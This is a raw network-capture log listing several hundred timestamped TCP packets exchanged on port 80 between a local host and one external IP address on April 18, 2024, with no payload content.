Apr 18, 2024 23:40:10.681941032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681960106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681963921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681979895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.681983948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.681999922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682001114 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682017088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682018995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682037115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682039022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682056904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682060003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682076931 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682080030 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682094097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682096958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682115078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682117939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682133913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682133913 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682148933 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682153940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682172060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682176113 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682189941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682190895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682205915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682209969 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682229996 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682233095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682238102 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682249069 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682264090 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682266951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682286024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682288885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682303905 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682306051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682321072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682323933 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682342052 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682346106 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682358027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682360888 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682378054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682382107 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682400942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682408094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682418108 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682426929 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682444096 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682447910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682461977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682463884 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682482958 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682487011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682502985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682503939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682523966 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682523966 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682543993 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682547092 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682563066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682564020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682569981 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682581902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682600021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682602882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682615995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682620049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682640076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682640076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682657957 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682660103 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682670116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682677031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682694912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682698011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682712078 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682715893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682730913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682730913 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682748079 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682750940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682770014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682770967 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682789087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682792902 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682812929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682815075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682817936 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682828903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682838917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682857037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682857037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682877064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682881117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682897091 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682900906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682915926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682924032 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682934999 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682939053 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682955027 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682956934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682980061 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.682981014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682985067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.682992935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683003902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683007956 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683022976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683026075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683044910 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683044910 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683065891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683069944 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683078051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683084011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683103085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683106899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683123112 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683126926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683139086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683141947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683160067 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683161020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683177948 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683181047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683197021 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683201075 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683212042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683214903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683233976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683233976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683248997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683253050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683273077 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683275938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683289051 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683293104 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683306932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683314085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683330059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683332920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683347940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683347940 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683362961 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683367014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683384895 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683387995 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683399916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683404922 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683423042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683425903 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683442116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683442116 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683456898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683463097 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683480024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683484077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683495045 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683497906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683514118 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683516979 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683528900 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683553934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683567047 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683588028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683604956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683605909 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683619976 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683624029 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683640957 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683641911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683654070 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683660030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683677912 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683681011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683687925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683696032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683713913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683715105 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683732033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683736086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683748960 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683752060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683769941 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683770895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683784962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683788061 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683808088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683815956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683835030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683839083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683851004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683855057 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683872938 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683891058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683893919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683912039 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683912992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683933020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683938980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683942080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683958054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683958054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683978081 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.683981895 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.683996916 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684001923 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684015036 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684024096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684034109 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684035063 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684053898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684057951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684072018 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684083939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684083939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684089899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684109926 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684122086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684122086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684142113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684155941 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684159994 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684176922 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684179068 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684197903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684199095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684214115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684216976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684235096 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684242010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684252977 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684253931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684272051 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684276104 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684284925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684293032 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684314013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684318066 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684331894 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684335947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684350967 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684369087 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684369087 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684381008 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684386969 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684406042 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684410095 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684425116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684428930 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684443951 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684446096 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684459925 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684463024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684478998 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684480906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684490919 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684505939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684524059 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684526920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684539080 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684544086 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684561014 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684565067 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684581041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684585094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684596062 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684598923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684617043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684617996 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684636116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684639931 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684648037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684655905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684673071 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684675932 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684683084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684691906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684709072 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684712887 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684724092 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684726954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684747934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684750080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684756994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684758902 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684766054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684775114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684782028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684787989 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684806108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684808969 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684825897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684829950 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684858084 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684859037 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684878111 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684880972 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684896946 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684895992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684916019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684919119 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684935093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684935093 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684948921 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684953928 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684972048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.684973955 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684987068 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.684990883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685003042 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685009003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685025930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685030937 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685045004 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685045004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685062885 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685065031 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685081005 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685084105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685101986 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685103893 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685120106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685123920 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685137987 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685142040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:10.685158968 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:10.685162067 CEST	80	49744	193.233.132.167	192.168.2.4
